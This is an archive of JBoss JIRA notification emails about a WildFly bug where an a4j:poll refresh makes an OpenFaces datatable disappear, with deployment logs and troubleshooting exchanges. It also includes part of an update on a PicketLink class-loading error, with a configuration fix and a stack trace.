21:35:04,943 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.ExtendedPartialViewContextFactoryImpl which does not have any appropriate constructor.
21:35:04,954 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.view.facelets.html.BehaviorsTagHandlerDelegateFactoryImpl which does not have any appropriate constructor.
21:35:08,880 INFO  [javax.enterprise.resource.webcontainer.jsf.config#<init>] Monitoring file:/mbi/tools/jboss/8.0/standalone/tmp/vfs/temp9107fab8a420cc03/web.war-2485cd5f0cf3e5b7/WEB-INF/faces-config.xml for modifications
21:35:09,123 INFO  [org.richfaces.log.Cache#getCacheFactory] Selected fallback cache factory
21:35:09,126 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance using parameters: {org.richfaces.enableControlSkinningClasses=false, javax.faces.PROJECT_STAGE=Development, org.richfaces.push.jms.enabled=true, org.richfaces.enableControlSkinning=false, org.jboss.jbossfaces.IS_CDI=true}
21:35:09,148 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance of 512 items capacity
21:35:09,173 INFO  [org.richfaces.log.Application#onStart] RichFaces Core Implementation by JBoss by Red Hat, version 4.3.3.Final
21:35:09,187 INFO  [org.richfaces.log.Application#initializePushContext] Startup initialization of PushContext
21:35:09,226 INFO  [org.wildfly.extension.undertow#registerDeployment] JBAS018210: Register web context: /web
21:35:09,503 INFO  [org.jboss.as.server#handleResult] JBAS018565: Replaced deployment "web.war" with deployment "web.war"
But nothing more after that, only the logging output from my app.

When deploying using mojarra-2.1.19 I don't get those warnings:
21:38:47,806 INFO  [org.jboss.as.server.deployment#start] JBAS015876: Starting deployment of "web.war" (runtime-name: "web.war")
21:38:52,002 INFO  [org.jboss.weld.deployer#deploy] JBAS016002: Processing weld deployment web.war
21:38:52,888 INFO  [org.jboss.weld.deployer#deploy] JBAS016005: Starting Services for CDI deployment: web.war
21:38:52,963 INFO  [org.jboss.weld.deployer#start] JBAS016008: Starting weld service for deployment web.war
21:38:54,631 INFO  [javax.enterprise.resource.webcontainer.jsf.config#contextInitialized] Initializing Mojarra 2.1.19 ( 20130213-1512 https://svn.java.net/svn/mojarra~svn/tags/2.1.19 at 11614) for context '/web'
21:39:00,262 INFO  [org.richfaces.log.Cache#getCacheFactory] Selected fallback cache factory
21:39:00,266 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance using parameters: {org.richfaces.enableControlSkinningClasses=false, javax.faces.PROJECT_STAGE=Development, org.richfaces.push.jms.enabled=true, org.richfaces.enableControlSkinning=false, org.jboss.jbossfaces.IS_CDI=true, org.jboss.jbossfaces.JSF_CONFIG_NAME=mojarra-2.1.19}
21:39:00,269 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance of 512 items capacity
21:39:00,279 INFO  [org.richfaces.log.Application#onStart] RichFaces Core Implementation by JBoss by Red Hat, version 4.3.3.Final
21:39:00,288 INFO  [org.richfaces.log.Application#initializePushContext] Startup initialization of PushContext
21:39:00,325 INFO  [javax.enterprise.resource.webcontainer.jsf.config#<init>] Monitoring file:/mbi/tools/jboss/8.0/standalone/tmp/vfs/temp9107fab8a420cc03/web.war-fc3e6c1c2132b080/WEB-INF/faces-config.xml for modifications
21:39:00,331 INFO  [org.wildfly.extension.undertow#registerDeployment] JBAS018210: Register web context: /web
21:39:00,530 INFO  [org.jboss.as.server#handleResult] JBAS018565: Replaced deployment "web.war" with deployment "web.war"

                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 15:55:04 2013
From: jira-events at lists.jboss.org (Brian Leathem (JIRA))
Date: Tue, 3 Sep 2013 15:55:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7130.1378238104031@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801312#comment-12801312 ] 

Brian Leathem edited comment on WFLY-1981 at 9/3/13 3:54 PM:
-------------------------------------------------------------

While deploying I see
{code}
21:34:54,068 INFO  [org.jboss.as.server.deployment#start] JBAS015876: Starting deployment of "web.war" (runtime-name: "web.war")
21:34:59,308 INFO  [org.jboss.weld.deployer#deploy] JBAS016002: Processing weld deployment web.war
21:35:00,272 INFO  [org.jboss.weld.deployer#deploy] JBAS016005: Starting Services for CDI deployment: web.war
21:35:00,363 INFO  [org.jboss.weld.deployer#start] JBAS016008: Starting weld service for deployment web.war
21:35:01,492 INFO  [javax.enterprise.resource.webcontainer.jsf.config#contextInitialized] Initializing Mojarra 2.2.2-jbossorg-1 20130814-1231 for context '/web'
21:35:04,881 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.application.OpenFacesApplicationFactory which does not have any appropriate constructor.
21:35:04,898 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.application.ViewExpiredExceptionHandlerFactory which does not have any appropriate constructor.
21:35:04,906 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.SkinningExternalContextFactory which does not have any appropriate constructor.
21:35:04,917 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.FileUploadFacesContextFactory which does not have any appropriate constructor.
21:35:04,934 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.ajax.PartialViewContextFactory which does not have any appropriate constructor.
21:35:04,943 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.ExtendedPartialViewContextFactoryImpl which does not have any appropriate constructor.
21:35:04,954 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.view.facelets.html.BehaviorsTagHandlerDelegateFactoryImpl which does not have any appropriate constructor.
21:35:08,880 INFO  [javax.enterprise.resource.webcontainer.jsf.config#<init>] Monitoring file:/mbi/tools/jboss/8.0/standalone/tmp/vfs/temp9107fab8a420cc03/web.war-2485cd5f0cf3e5b7/WEB-INF/faces-config.xml for modifications
21:35:09,123 INFO  [org.richfaces.log.Cache#getCacheFactory] Selected fallback cache factory
21:35:09,126 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance using parameters: {org.richfaces.enableControlSkinningClasses=false, javax.faces.PROJECT_STAGE=Development, org.richfaces.push.jms.enabled=true, org.richfaces.enableControlSkinning=false, org.jboss.jbossfaces.IS_CDI=true}
21:35:09,148 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance of 512 items capacity
21:35:09,173 INFO  [org.richfaces.log.Application#onStart] RichFaces Core Implementation by JBoss by Red Hat, version 4.3.3.Final
21:35:09,187 INFO  [org.richfaces.log.Application#initializePushContext] Startup initialization of PushContext
21:35:09,226 INFO  [org.wildfly.extension.undertow#registerDeployment] JBAS018210: Register web context: /web
21:35:09,503 INFO  [org.jboss.as.server#handleResult] JBAS018565: Replaced deployment "web.war" with deployment "web.war"
{code}
But nothing more after that, only the logging output from my app.

When deploying using mojarra-2.1.19 I don't get those warnings:
{code}
21:38:47,806 INFO  [org.jboss.as.server.deployment#start] JBAS015876: Starting deployment of "web.war" (runtime-name: "web.war")
21:38:52,002 INFO  [org.jboss.weld.deployer#deploy] JBAS016002: Processing weld deployment web.war
21:38:52,888 INFO  [org.jboss.weld.deployer#deploy] JBAS016005: Starting Services for CDI deployment: web.war
21:38:52,963 INFO  [org.jboss.weld.deployer#start] JBAS016008: Starting weld service for deployment web.war
21:38:54,631 INFO  [javax.enterprise.resource.webcontainer.jsf.config#contextInitialized] Initializing Mojarra 2.1.19 ( 20130213-1512 https://svn.java.net/svn/mojarra~svn/tags/2.1.19 at 11614) for context '/web'
21:39:00,262 INFO  [org.richfaces.log.Cache#getCacheFactory] Selected fallback cache factory
21:39:00,266 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance using parameters: {org.richfaces.enableControlSkinningClasses=false, javax.faces.PROJECT_STAGE=Development, org.richfaces.push.jms.enabled=true, org.richfaces.enableControlSkinning=false, org.jboss.jbossfaces.IS_CDI=true, org.jboss.jbossfaces.JSF_CONFIG_NAME=mojarra-2.1.19}
21:39:00,269 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance of 512 items capacity
21:39:00,279 INFO  [org.richfaces.log.Application#onStart] RichFaces Core Implementation by JBoss by Red Hat, version 4.3.3.Final
21:39:00,288 INFO  [org.richfaces.log.Application#initializePushContext] Startup initialization of PushContext
21:39:00,325 INFO  [javax.enterprise.resource.webcontainer.jsf.config#<init>] Monitoring file:/mbi/tools/jboss/8.0/standalone/tmp/vfs/temp9107fab8a420cc03/web.war-fc3e6c1c2132b080/WEB-INF/faces-config.xml for modifications
21:39:00,331 INFO  [org.wildfly.extension.undertow#registerDeployment] JBAS018210: Register web context: /web
21:39:00,530 INFO  [org.jboss.as.server#handleResult] JBAS018565: Replaced deployment "web.war" with deployment "web.war"
{code}
                
      was (Author: lafr):
    While deploying I see
21:34:54,068 INFO  [org.jboss.as.server.deployment#start] JBAS015876: Starting deployment of "web.war" (runtime-name: "web.war")
21:34:59,308 INFO  [org.jboss.weld.deployer#deploy] JBAS016002: Processing weld deployment web.war
21:35:00,272 INFO  [org.jboss.weld.deployer#deploy] JBAS016005: Starting Services for CDI deployment: web.war
21:35:00,363 INFO  [org.jboss.weld.deployer#start] JBAS016008: Starting weld service for deployment web.war
21:35:01,492 INFO  [javax.enterprise.resource.webcontainer.jsf.config#contextInitialized] Initializing Mojarra 2.2.2-jbossorg-1 20130814-1231 for context '/web'
21:35:04,881 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.application.OpenFacesApplicationFactory which does not have any appropriate constructor.
21:35:04,898 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.application.ViewExpiredExceptionHandlerFactory which does not have any appropriate constructor.
21:35:04,906 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.SkinningExternalContextFactory which does not have any appropriate constructor.
21:35:04,917 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.FileUploadFacesContextFactory which does not have any appropriate constructor.
21:35:04,934 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.openfaces.ajax.PartialViewContextFactory which does not have any appropriate constructor.
21:35:04,943 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.context.ExtendedPartialViewContextFactoryImpl which does not have any appropriate constructor.
21:35:04,954 WARN  [org.jboss.weld.Bean#chooseInjectionTarget] WELD-001529 An InjectionTarget is created for a class org.richfaces.view.facelets.html.BehaviorsTagHandlerDelegateFactoryImpl which does not have any appropriate constructor.
21:35:08,880 INFO  [javax.enterprise.resource.webcontainer.jsf.config#<init>] Monitoring file:/mbi/tools/jboss/8.0/standalone/tmp/vfs/temp9107fab8a420cc03/web.war-2485cd5f0cf3e5b7/WEB-INF/faces-config.xml for modifications
21:35:09,123 INFO  [org.richfaces.log.Cache#getCacheFactory] Selected fallback cache factory
21:35:09,126 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance using parameters: {org.richfaces.enableControlSkinningClasses=false, javax.faces.PROJECT_STAGE=Development, org.richfaces.push.jms.enabled=true, org.richfaces.enableControlSkinning=false, org.jboss.jbossfaces.IS_CDI=true}
21:35:09,148 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance of 512 items capacity
21:35:09,173 INFO  [org.richfaces.log.Application#onStart] RichFaces Core Implementation by JBoss by Red Hat, version 4.3.3.Final
21:35:09,187 INFO  [org.richfaces.log.Application#initializePushContext] Startup initialization of PushContext
21:35:09,226 INFO  [org.wildfly.extension.undertow#registerDeployment] JBAS018210: Register web context: /web
21:35:09,503 INFO  [org.jboss.as.server#handleResult] JBAS018565: Replaced deployment "web.war" with deployment "web.war"
But nothing more after that, only the logging output from my app.

When deploying using mojarra-2.1.19 I don't get those warnings:
21:38:47,806 INFO  [org.jboss.as.server.deployment#start] JBAS015876: Starting deployment of "web.war" (runtime-name: "web.war")
21:38:52,002 INFO  [org.jboss.weld.deployer#deploy] JBAS016002: Processing weld deployment web.war
21:38:52,888 INFO  [org.jboss.weld.deployer#deploy] JBAS016005: Starting Services for CDI deployment: web.war
21:38:52,963 INFO  [org.jboss.weld.deployer#start] JBAS016008: Starting weld service for deployment web.war
21:38:54,631 INFO  [javax.enterprise.resource.webcontainer.jsf.config#contextInitialized] Initializing Mojarra 2.1.19 ( 20130213-1512 https://svn.java.net/svn/mojarra~svn/tags/2.1.19 at 11614) for context '/web'
21:39:00,262 INFO  [org.richfaces.log.Cache#getCacheFactory] Selected fallback cache factory
21:39:00,266 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance using parameters: {org.richfaces.enableControlSkinningClasses=false, javax.faces.PROJECT_STAGE=Development, org.richfaces.push.jms.enabled=true, org.richfaces.enableControlSkinning=false, org.jboss.jbossfaces.IS_CDI=true, org.jboss.jbossfaces.JSF_CONFIG_NAME=mojarra-2.1.19}
21:39:00,269 INFO  [org.richfaces.log.Cache#createCache] Creating LRUMap cache instance of 512 items capacity
21:39:00,279 INFO  [org.richfaces.log.Application#onStart] RichFaces Core Implementation by JBoss by Red Hat, version 4.3.3.Final
21:39:00,288 INFO  [org.richfaces.log.Application#initializePushContext] Startup initialization of PushContext
21:39:00,325 INFO  [javax.enterprise.resource.webcontainer.jsf.config#<init>] Monitoring file:/mbi/tools/jboss/8.0/standalone/tmp/vfs/temp9107fab8a420cc03/web.war-fc3e6c1c2132b080/WEB-INF/faces-config.xml for modifications
21:39:00,331 INFO  [org.wildfly.extension.undertow#registerDeployment] JBAS018210: Register web context: /web
21:39:00,530 INFO  [org.jboss.as.server#handleResult] JBAS018565: Replaced deployment "web.war" with deployment "web.war"

                  
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 17:00:03 2013
From: jira-events at lists.jboss.org (Brian Leathem (JIRA))
Date: Tue, 3 Sep 2013 17:00:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7193.1378242003719@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801336#comment-12801336 ] 

Brian Leathem commented on WFLY-1981:
-------------------------------------

And no errors in the browser console?
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 17:11:03 2013
From: jira-events at lists.jboss.org (Frank Langelage (JIRA))
Date: Tue, 3 Sep 2013 17:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7199.1378242663567@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801337#comment-12801337 ] 

Frank Langelage commented on WFLY-1981:
---------------------------------------

No, nothing.
The openfaces datatable simply disappears on first refresh.
The mojarra datatable stays and gets refreshed on timeout as expected.
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 17:17:03 2013
From: jira-events at lists.jboss.org (Brian Leathem (JIRA))
Date: Tue, 3 Sep 2013 17:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1981) JSF component disappears on
 refresh using a4j:poll
In-Reply-To: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499779.1378159247000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499779.1378159247000.7213.1378243023786@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1981?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801339#comment-12801339 ] 

Brian Leathem commented on WFLY-1981:
-------------------------------------

[~lafr] if you replace the a4j:poll with an a4j:commandButton to render the respective tables and click that a few times, does that result in the same problem?

(Thanks for taking the time to help narrow down the source of the problem)
                
> JSF component disappears on refresh using a4j:poll
> --------------------------------------------------
>
>                 Key: WFLY-1981
>                 URL: https://issues.jboss.org/browse/WFLY-1981
>             Project: WildFly
>          Issue Type: Bug
>          Components: JSF, Web (Undertow)
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Frank Langelage
>            Assignee: Brian Leathem
>         Attachments: install-mojarra-2.1.19.cli, Jira-WFLY-UT.tar, xaa, xab, xac
>
>
> On some of my pages I'm using richfaces a4j:poll to refresh components regularly. The components refreshed is an openfaces datatable.
> This does not work with WildFly build from current sources.
> Same code works with JBoss AS 7.20. So problem is not related to richfaces or openfaces for me. Probably related to replacement of jboss-web with undertow.
> I'll attach a small project showing the problem.
> The mojarra datatable works fine, is refreshed every 10 seconds.
> The openfaces datatable below disappears on first refresh.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 17:17:04 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Tue, 3 Sep 2013 17:17:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1969) PicketLink:
 java.lang.LinkageError during loading javax.xml.crypto.dsig.XMLSignContext
In-Reply-To: <JIRA.12499634.1377786959000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499634.1377786959000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499634.1377786959000.7220.1378243024100@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1969?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Alessio Soldano updated WFLY-1969:
----------------------------------

    Description: 
A linkage error javax.xml.crypto.dsig.XMLSignContext is thrown when a XMLSignatureFactory is first resolved by PicketLink (instead of the WS subsystem) on WFLY.
This should be fixed by tuning the module dependencies in org.picketlink module, either by modifying the relative order of org.apache.santuario.xmlsec and javax.api modules, or -better by setting an exclude block as follows:

{noformat}
        ...
        <module name="org.apache.santuario.xmlsec">
            <imports>
                <exclude path="javax/*"/>
            </imports>
        </module>
        ...
{noformat}

Exception:

{noformat}
23:47:46,400 ERROR org.jboss.as.webservices.invocation.InvocationHandlerJAXWS JBAS015594: Method invocation failed with exception: loader constraint violation: loader (instance of org/jboss/modules/ModuleClassLoader) previously initiated loading for a different type with name "javax/xml/crypto/dsig/XMLSignContext": java.lang.LinkageError: loader constraint violation: loader (instance of org/jboss/modules/ModuleClassLoader) previously initiated loading for a different type with name "javax/xml/crypto/dsig/XMLSignContext"
at java.lang.ClassLoader.defineClass1(Native Method) [rt.jar:1.7.0_15]
at java.lang.ClassLoader.defineClass(ClassLoader.java:791) [rt.jar:1.7.0_15]
at org.jboss.modules.ModuleClassLoader.doDefineOrLoadClass(ModuleClassLoader.java:345) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.ModuleClassLoader.defineClass(ModuleClassLoader.java:423) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.ModuleClassLoader.loadClassLocal(ModuleClassLoader.java:261) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.ModuleClassLoader$1.loadClassLocal(ModuleClassLoader.java:76) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.Module.loadModuleClass(Module.java:548) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:189) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:443) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:431) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:373) [jboss-modules.jar:1.3.0.Beta3]
at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:118) [jboss-modules.jar:1.3.0.Beta3]
at org.picketlink.identity.federation.core.wstrust.StandardRequestHandler.postProcess(StandardRequestHandler.java:561) [picketlink-core-2.1.7.Final.jar:2.1.7.Final]
at org.picketlink.identity.federation.core.wstrust.PicketLinkSTS.handleTokenRequest(PicketLinkSTS.java:220) [picketlink-core-2.1.7.Final.jar:2.1.7.Final]
at org.picketlink.identity.federation.core.wstrust.PicketLinkSTS.invoke(PicketLinkSTS.java:150) [picketlink-core-2.1.7.Final.jar:2.1.7.Final]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_15]
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_15]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_15]
at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_15]
at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.as.ee.concurrent.ConcurrentContextInterceptor.processInvocation(ConcurrentContextInterceptor.java:48)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53)
at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:63)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53)
at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:63)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.as.webservices.deployers.WSComponentInstanceAssociationInterceptor.processInvocation(WSComponentInstanceAssociationInterceptor.java:49)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
at org.wildfly.security.manager.WildFlySecurityManager.doChecked(WildFlySecurityManager.java:428)
at org.wildfly.security.manager.AccessCheckingInterceptor.processInvocation(AccessCheckingInterceptor.java:63)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_15]
at org.jboss.invocation.PrivilegedInterceptor.processInvocation(PrivilegedInterceptor.java:75)
at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
at org.jboss.as.ee.component.ViewService$View.invoke(ViewService.java:165)
at org.jboss.as.webservices.invocation.AbstractInvocationHandler.invoke(AbstractInvocationHandler.java:112)
at org.jboss.wsf.stack.cxf.JBossWSInvoker.performInvocation(JBossWSInvoker.java:149)
at org.apache.cxf.service.invoker.AbstractInvoker.invoke(AbstractInvoker.java:96) [cxf-api.jar:2.7.7.SNAPSHOT]
at org.apache.cxf.jaxws.AbstractJAXWSMethodInvoker.invoke(AbstractJAXWSMethodInvoker.java:178)
at org.apache.cxf.jaxws.JAXWSMethodInvoker.invoke(JAXWSMethodInvoker.java:68)
at org.jboss.wsf.stack.cxf.JBossWSInvoker.invoke(JBossWSInvoker.java:129)
at org.apache.cxf.interceptor.ServiceInvokerInterceptor$1.run(ServiceInvokerInterceptor.java:57) [cxf-api.jar:2.7.7.SNAPSHOT]
at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) [rt.jar:1.7.0_15]
at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_15]
at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_15]
at org.apache.cxf.workqueue.SynchronousExecutor.execute(SynchronousExecutor.java:37) [cxf-api.jar:2.7.7.SNAPSHOT]
at org.apache.cxf.interceptor.ServiceInvokerInterceptor.handleMessage(ServiceInvokerInterceptor.java:106) [cxf-api.jar:2.7.7.SNAPSHOT]
